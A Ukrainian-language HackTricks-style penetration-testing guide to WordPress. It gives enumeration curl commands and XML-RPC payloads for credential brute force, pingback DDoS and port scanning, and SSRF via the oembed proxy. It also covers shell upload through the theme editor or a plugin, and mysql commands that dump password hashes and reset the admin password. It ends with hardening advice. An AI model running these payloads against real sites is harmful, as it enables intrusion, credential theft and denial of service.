Wordpress

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Базова інформація

Завантажені файли йдуть за посиланням: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Файли тем можна знайти в /wp-content/themes/, тому якщо ви змінюєте деякі php теми для отримання RCE, ви, ймовірно, використовуватимете цей шлях. Наприклад: Використовуючи тему twentytwelve, ви можете отримати доступ до файлу 404.php за посиланням: /wp-content/themes/twentytwelve/404.php Іншим корисним URL може бути: /wp-content/themes/default/404.php

У wp-config.php ви можете знайти кореневий пароль бази даних.

Шляхи входу за замовчуванням для перевірки: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Основні файли WordPress

  • index.php

  • license.txt містить корисну інформацію, таку як версія встановленого WordPress.

  • wp-activate.php використовується для процесу активації електронної пошти при налаштуванні нового сайту WordPress.

  • Папки входу (можуть бути перейменовані, щоб приховати їх):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php - це файл, який представляє функцію WordPress, яка дозволяє передавати дані за допомогою HTTP як транспортного механізму та XML як механізму кодування. Цей тип комунікації був замінений WordPress REST API.

  • Папка wp-content - це основний каталог, де зберігаються плагіни та теми.

  • wp-content/uploads/ - це каталог, де зберігаються файли, завантажені на платформу.

  • wp-includes/ - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, файли JavaScript та віджети.

  • wp-sitemap.xml - у версіях WordPress 5.5 і вище WordPress генерує файл sitemap XML з усіма публічними повідомленнями та публічно запитуваними типами повідомлень та таксономіями.

Післяексплуатація

  • Файл wp-config.php містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача та пароль, ключі аутентифікації та солі, а також префікс таблиці бази даних. Цей файл конфігурації також може бути використаний для активації режиму DEBUG, що може бути корисним при усуненні неполадок.

Права користувачів

  • Адміністратор

  • Редактор: Публікує та керує своїми та іншими повідомленнями

  • Автор: Публікує та керує своїми власними повідомленнями

  • Співавтор: Пише та керує своїми повідомленнями, але не може їх публікувати

  • Підписник: Переглядає повідомлення та редагує свій профіль

Пасивний перелік

Отримання версії WordPress

Перевірте, чи можете ви знайти файли /license.txt або /readme.html

У вихідному коді сторінки (приклад з https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link files

  • JavaScript files

Отримати плагіни

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Активне вибіркове перелічення

Плагіни та теми

Ймовірно, вам не вдасться знайти всі можливі Плагіни та Теми. Щоб відкрити їх всі, вам потрібно активно перебирати список Плагінів та Тем (на щастя, існують автоматизовані інструменти, які містять ці списки).

Користувачі

ID Brute

Ви отримуєте дійсних користувачів з сайту WordPress, перебираючи ID користувачів:

curl -s -I -X GET http://blog.example.com/?author=1

Якщо відповіді - 200 або 30X, це означає, що ідентифікатор є дійсним. Якщо відповідь - 400, то ідентифікатор є недійсним.

wp-json

Ви також можете спробувати отримати інформацію про користувачів, запитуючи:

curl http://blog.example.com/wp-json/wp/v2/users

Інший /wp-json/ ендпоінт, який може розкрити деяку інформацію про користувачів, це:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Зверніть увагу, що ця кінцева точка викриває лише користувачів, які опублікували пост. Надана буде інформація лише про користувачів, які мають цю функцію увімкнено.

Також зверніть увагу, що /wp-json/wp/v2/pages може витікати IP-адреси.

Перелік імен користувачів для входу

Під час входу в /wp-login.php повідомлення відрізняється, якщо вказане ім'я користувача існує чи ні.

XML-RPC

Якщо xml-rpc.php активний, ви можете виконати перебір облікових даних або використовувати його для запуску атак DoS на інші ресурси. (Наприклад, ви можете автоматизувати цей процес використовуючи це).

Щоб перевірити, чи він активний, спробуйте отримати доступ до /xmlrpc.php та надіслати цей запит:

Перевірка

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Перебір облікових даних

wp.getUserBlogs, wp.getCategories або metaWeblog.getUsersBlogs - це деякі з методів, які можна використовувати для перебору облікових даних. Якщо ви знайдете будь-який з них, ви можете відправити щось на зразок:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Повідомлення "Неправильне ім'я користувача або пароль" у відповіді з кодом 200 повинно з'явитися, якщо облікові дані недійсні.

Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Також є швидший спосіб перебору облікових даних за допомогою system.multicall, оскільки ви можете спробувати кілька облікових даних за один запит:

Обхід 2FA

Цей метод призначений для програм і не для людей, і старий, тому він не підтримує 2FA. Таким чином, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, ви можете використовувати xmlrpc.php для входу за допомогою цих облікових даних, обійшовши 2FA. Зверніть увагу, що ви не зможете виконати всі дії, які ви можете зробити через консоль, але ви все ще можете дістатися до RCE, як пояснює Ippsec в https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS або сканування портів

Якщо ви знайдете метод pingback.ping у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт. Це можна використовувати для того, щоб попросити тисячі сайтів Wordpress звертатися до одного місця (таким чином, в цьому місці виникає DDoS) або ви можете використовувати його для того, щоб зробити Wordpress сканувати деяку внутрішню мережу (ви можете вказати будь-який порт).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Якщо ви отримуєте faultCode зі значенням більше, ніж 0 (17), це означає, що порт відкритий.

Подивіться на використання system.multicall в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

DoS через wp-cron.php

Цей файл зазвичай існує під коренем сайту Wordpress: /wp-cron.php Коли цей файл доступний, виконується "важкий" запит до MySQL, тому його можна використовувати зловмисниками для спричинення DoS. Крім того, за замовчуванням, wp-cron.php викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може викликати проблеми (DoS).

Рекомендується вимкнути Wp-Cron та створити реальну cronjob всередині хоста, яка виконує необхідні дії в регулярний інтервал (без виклику проблем).

/wp-json/oembed/1.0/proxy - SSRF

Спробуйте отримати доступ до https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net і сайт Worpress може надіслати вам запит.

Ось відповідь, коли це не працює:

SSRF

Цей інструмент перевіряє, чи є methodName: pingback.ping та шлях /wp-json/oembed/1.0/proxy, і якщо вони існують, він намагається їх використати.

Автоматичні Інструменти

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Отримайте доступ, перезаписавши біт

Більше, ніж реальна атака, це цікавість. У CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ви могли змінити 1 біт у будь-якому файлі wordpress. Таким чином, ви могли б змінити позицію 5389 у файлі /var/www/html/wp-includes/user.php, щоб зробити операцію NOT (!) бездіяльною.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Панель RCE

Зміна php з використанням теми (потрібні облікові дані адміністратора)

Вигляд → Редактор тем → 404 Шаблон (праворуч)

Змініть вміст на php shell:

Шукайте в Інтернеті, як ви можете отримати доступ до оновленої сторінки. У цьому випадку вам потрібно перейти сюди: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Ви можете використовувати:

use exploit/unix/webapp/wp_admin_shell_upload

Використання плагіна RCE

PHP плагін

Можливо завантажити файли .php як плагін. Створіть свій php backdoor, використовуючи, наприклад:

Потім додайте новий плагін:

Завантажте плагін та натисніть "Install Now":

Клацніть на "Procced":

Ймовірно, це на перший погляд нічого не зробить, але якщо ви перейдете до Медіа, ви побачите, що ваш shell завантажено:

Отримайте до нього доступ і ви побачите URL для виконання зворотного shell:

Завантаження та активація шкідливого плагіна

Цей метод включає встановлення шкідливого плагіна, відомого як вразливий, який може бути використаний для отримання веб-оболонки. Цей процес виконується через панель управління WordPress наступним чином:

  1. Отримання плагіна: Плагін отримується з джерела, такого як Exploit DB, наприклад тут.

  2. Встановлення плагіна:

  • Перейдіть до панелі управління WordPress, потім перейдіть до Dashboard > Plugins > Upload Plugin.

  • Завантажте zip-файл завантаженого плагіна.

  1. Активація плагіна: Після успішного встановлення плагіна його потрібно активувати через панель управління.

  2. Експлуатація:

  • З встановленим та активованим плагіном "reflex-gallery" його можна використовувати, оскільки відомо, що він вразливий.

  • Фреймворк Metasploit надає експлойт для цієї вразливості. Завантажуючи відповідний модуль та виконуючи певні команди, можна встановити сеанс meterpreter, надаючи несанкціонований доступ до сайту.

  • Зазначається, що це лише один із багатьох методів експлуатації сайту WordPress.

Контент включає візуальні посібники, що зображають кроки в панелі управління WordPress для встановлення та активації плагіна. Проте важливо зауважити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально та лише в законному контексті, наприклад, під час пенетраційного тестування з явним дозволом.

Для отримання докладніших кроків перевірте: https://www.hackingarticles.in/wordpress-reverse-shell/**

Після експлуатації

Витягніть імена користувачів та паролі:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Змінити пароль адміністратора:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Захист WordPress

Регулярні оновлення

Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердьте, що автоматичне оновлення увімкнене в файлі wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Також встановлюйте тільки довірені плагіни та теми WordPress.

Плагіни безпеки

Інші рекомендації

  • Видаліть стандартного користувача admin

  • Використовуйте надійні паролі та 2FA

  • Періодично переглядайте дозволи користувачів

  • Обмежте спроби входу для запобігання атакам методом перебору

  • Перейменуйте файл wp-admin.php та дозвольте доступ лише внутрішньо або з певних IP-адрес.

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, що працюють на найбільш продвинутих інструментах спільноти у світі. Отримайте доступ сьогодні:

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated